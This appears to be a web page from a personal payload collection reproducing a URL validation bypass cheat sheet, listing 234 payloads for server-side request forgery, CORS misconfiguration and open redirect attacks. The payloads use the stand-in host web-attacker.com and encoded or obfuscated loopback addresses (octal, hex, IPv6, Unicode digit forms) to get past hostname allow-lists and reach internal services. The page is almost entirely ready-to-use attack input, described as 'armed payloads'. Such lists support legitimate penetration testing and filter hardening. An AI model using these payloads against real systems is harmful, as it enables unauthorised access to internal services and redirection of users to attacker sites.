Tactical Cheat Sheets & Payloads

5 DOMAINS8 ARSENAL SHEETS

CURATED BY @Bh4nu1-CLICK ARMED PAYLOADS

URL validation bypass cheat sheet

This cheat sheet contains payloads for bypassing URL validation. These wordlists are useful for attacks such as server-side request forgery (SSRF), CORS misconfigurations, and open redirection.

Allowed hostname

Attacker hostname

Encodings:

Intruder's

Everything

Special chars

Unicode escape

# Payloads: 234

#	Payload	Actions
1	https://%09web-attacker.com/
2	https://%0Aweb-attacker.com/
3	%0D%0A//web-attacker.com
4	%0D%0A\\web-attacker.com
5	https://%5B::%5D/
6	https://%5B::1%5D/
7	https://%5B::1%5D%40%5B::1%5D%40web-attacker.com/
8	https://%5B::ffff:0.0.0.0%5D/
9	https://%5B::ffff:0000:0000%5D/
10	https://%5B::ffff:127.0.0.1%5D/
11	https://%5B::ffff:7f00:1%5D/
12	https://%5B::%EF%AC%80%EF%AC%80:7f00:1%5D/
13	https://%5B0:0:0:0:0:ffff:127.0.0.1%5D/
14	https://%5B0:0:0:0:0:ffff:1%E3%89%97.0.0.1%5D/
15	https://%5B0:0:0:0:0:ffff:%E2%91%AB7.0.0.1%5D/
16	https://%5B0:0:0:0:0:%EF%AC%80%EF%AC%80:127.0.0.1%5D/
17	https://%5B0000::1%5D/
18	https://%5B0000:0000:0000:0000:0000:0000:0000:0000%5D/
19	https://%5B0000:0000:0000:0000:0000:0000:0000:0001%5D/
20	https://%400/
21	%40web-attacker.com
22	http:%40web-attacker.com
23	https:%40web-attacker.com
24	///web-attacker.com
25	//web-attacker.com
26	/\web-attacker.com
27	/\/web-attacker.com
28	/&NewLine;/web-attacker.com
29	///web-attacker.com
30	/&Tab;/web-attacker.com
31	\%09\web-attacker.com
32	\%0A\web-attacker.com
33	\/\/web-attacker.com
34	\/web-attacker.com
35	https://\\web-attacker.com/
36	http:\\web-attacker.com\
37	https://\l\o\c\a\l\h\o\s\t/
38	#web-attacker.com
39	https://0/
40	0:80
41	https://0.0.0.0/
42	https://0000.0000.0000.0000/
43	https://00000177.00000000.00000000.00000001/
44	https://0177.0000.0000.0001/
45	https://017700000001/
46	https://0%E2%91%B0700000001/
47	https://0x00000000/
48	https://0x100000000/
49	https://0x17f000001/
50	https://0x17f000002/
51	https://0x7F.0.0000.00000001/
52	https://0x7F.0.0000.0001/
53	https://0x7f.0x00.0x00.0x01/
54	https://0x7f.0x00.0x00.0x02/
55	https://0x7F.1/
56	https://0x7f000001/
57	https://0x7f000002/
58	https://127.0.0.1/
59	https://1%E3%89%97.0.0.1/
60	https://%E2%91%AB7.0.0.1/
61	https://127.0.0.1%40127.0.0.1%40web-attacker.com/
62	https://127.0.0.2/
63	https://1%E3%89%97.0.0.2/
64	https://%E2%91%AB7.0.0.2/
65	https://127.0.1/
66	https://127.000000000000000.1/
67	https://127.1/
68	https://2130706433/
69	https://21307064%E3%89%9D/
70	https://2130706%E3%8A%B83/
71	https://21%E3%89%9A706433/
72	https://2%E2%91%AC0706433/
73	https://%E3%89%9130706433/
74	https://%E3%89%91%E3%89%9A%E2%91%A6%E2%93%AA%E2%91%A5%E2%91%A3%E3%89%9D/
75	https://45080379393/
76	http://anythingexample.com/
77	https://anythingexample.com/
78	https://example.com &%40web-attacker.com# %40web-attacker.com/
79	https://example.com;.web-attacker.com/
80	https://example.com:%40web-attacker.com/
81	https://example.com:443:\%40%40web-attacker.com/
82	https://example.com:443\%40web-attacker.com/
83	https://example.com:443#\%40web-attacker.com/
84	https://example.com:anything%40web-attacker.com/
85	https://example.com?%40web-attacker.com/
86	https://example.com.%5F.web-attacker.com/
87	https://example.com.-.web-attacker.com/
88	https://example.com.%2C.web-attacker.com/
89	https://example.com.;.web-attacker.com/
90	https://example.com.%21.web-attacker.com/
91	https://example.com.%27.web-attacker.com/
92	https://example.com.".web-attacker.com/
93	https://example.com.%28.web-attacker.com/
94	https://example.com.%29.web-attacker.com/
95	https://example.com.{.web-attacker.com/
96	https://example.com.}.web-attacker.com/
97	https://example.com.*.web-attacker.com/
98	https://example.com.&.web-attacker.com/
99	https://example.com.`.web-attacker.com/
100	https://example.com.+.web-attacker.com/
101	https://example.com.=.web-attacker.com/
102	https://example.com.%7E.web-attacker.com/
103	https://example.com.%24.web-attacker.com/
104	https://example.com.local/
105	https://example.com.localhost/
106	https://example.com.web-attacker.com/
107	https://example.com%5B%40web-attacker.com/
108	https://example.com%40web-attacker.com/
109	https://example.com\;%40web-attacker.com/
110	https://example.com&anything%40web-attacker.com/
111	https://example.com#web-attacker.com/
112	https://example.com%2523web-attacker.com/
113	https://example.comweb-attacker.com/
114	https://foo%40web-attacker.com %40example.com/
115	https://foo%40web-attacker.com:443%40example.com/
116	https://localhost/
117	https://%C2%ADlocalhost/
118	https://%CD%8Flocalhost/
119	https://%E1%A0%8Blocalhost/
120	https://%E1%A0%8Clocalhost/
121	https://%E1%A0%8Dlocalhost/
122	https://%E1%A0%8Elocalhost/
123	https://%E1%A0%8Flocalhost/
124	https://%E2%80%8Blocalhost/
125	https://%E2%81%A0localhost/
126	https://%E2%81%A4localhost/
127	https://localho%EF%AC%86/
128	https://lo%E3%8E%88host/
129	https://localho%EF%AC%85/
130	http://localhost.web-attacker.com/
131	https://localhost.web-attacker.com/
132	https://localhost%40localhost%40web-attacker.com/
133	http://sexample.com/
134	http:web-attacker.com
135	https:web-attacker.com
136	%01http://web-attacker.com
137	%02http://web-attacker.com
138	%03http://web-attacker.com
139	%04http://web-attacker.com
140	%05http://web-attacker.com
141	%06http://web-attacker.com
142	%07http://web-attacker.com
143	%08http://web-attacker.com
144	%09http://web-attacker.com
145	%0Ahttp://web-attacker.com
146	%0Bhttp://web-attacker.com
147	%0Chttp://web-attacker.com
148	%0Dhttp://web-attacker.com
149	%0Ehttp://web-attacker.com
150	%0Fhttp://web-attacker.com
151	%10http://web-attacker.com
152	%11http://web-attacker.com
153	%12http://web-attacker.com
154	%13http://web-attacker.com
155	%14http://web-attacker.com
156	%15http://web-attacker.com
157	%16http://web-attacker.com
158	%17http://web-attacker.com
159	%18http://web-attacker.com
160	%19http://web-attacker.com
161	%1Ahttp://web-attacker.com
162	%1Bhttp://web-attacker.com
163	%1Chttp://web-attacker.com
164	%1Dhttp://web-attacker.com
165	%1Ehttp://web-attacker.com
166	%1Fhttp://web-attacker.com
167	http://web-attacker.com
168	h%09ttp://web-attacker.com
169	h%0Attp://web-attacker.com
170	h%0Dttp://web-attacker.com
171	http%09://web-attacker.com
172	http%0A://web-attacker.com
173	http%0D://web-attacker.com
174	%09http%09://web-attacker.com
175	%0Ahttp%0A://web-attacker.com
176	%0Dhttp%0D://web-attacker.com
177	http:/\web-attacker.com
178	http:/\\web-attacker.com
179	http:\\web-attacker.com
180	http:\web-attacker.com
181	http:/web-attacker.com
182	http:/0/web-attacker.com
183	https://%E2%80%8Bweb-attacker.com/
184	https://%E2%81%A0web-attacker.com/
185	https://%C2%ADweb-attacker.com/
186	https://web-attacker.com%09example.com/
187	https://web-attacker.com%0Aexample.com/
188	https://web-attacker.com%0D%0Aexample.com/
189	https://web-attacker.com%0Dexample.com/
190	https://web-attacker.com%E2%80%A8example.com/
191	https://web-attacker.com%E2%80%A9example.com/
192	https://web-attacker.com %40example.com/
193	https://web-attacker.com &%40example.com/
194	https://web-attacker.com example.com/
195	https://web-attacker.com;https://example.com/
196	https://web-attacker.com:\%40%40example.com/
197	0://web-attacker.com:80;http://example.com:80/
198	https://web-attacker.com?=.example.com/
199	https://web-attacker.com?=example.com/
200	https://web-attacker.com?example.com/
201	https://web-attacker.com?http://example.com/
202	https://web-attacker.com?https://example.com/
203	https://web-attacker.com../
204	http://web-attacker.com.example.com/
205	https://web-attacker.com.example.com/
206	https://web-attacker.com%EF%BC%8Eexample.com/
207	https://web-attacker.com%40%40example.com/
208	https://web-attacker.com%40example.com/
209	https://web-attacker.com/?d=example.com/
210	https://web-attacker.com/.example.com/
211	https://web-attacker.com///example.com/
212	https://web-attacker.com/example.com/
213	https://web-attacker.com\.example.com/
214	https://web-attacker.com\%40%40example.com/
215	https://web-attacker.com\anything%40example.com/
216	https://web-attacker.com\example.com/
217	https://web-attacker.com&%40example.com/
218	https://web-attacker.com%EF%BC%86example.com/
219	https://web-attacker.com%EF%B9%A0example.com/
220	https://web-attacker.com#%40example.com/
221	https://web-attacker.com#\%40example.com/
222	https://web-attacker.com#example.com/
223	https://web-attacker.com%250d%250a%40example.com/
224	https://web-attacker.com%2523%40example.com/
225	https://web-attacker.com%252e%40example.com/
226	https://web-attacker.com%252f%40example.com/
227	https://web-attacker.com%253a443.example.com/
228	https://web-attacker.com%25ffexample.com/
229	https://web-attacker.com+%40example.com/
230	https://web-attacker.com+&%40example.com/
231	%00http://web-attacker.com
232	https://web-attacker.com?%00example.com/
233	https://web-attacker.com#%00example.com/
234	https://web-attacker.com%00example.com/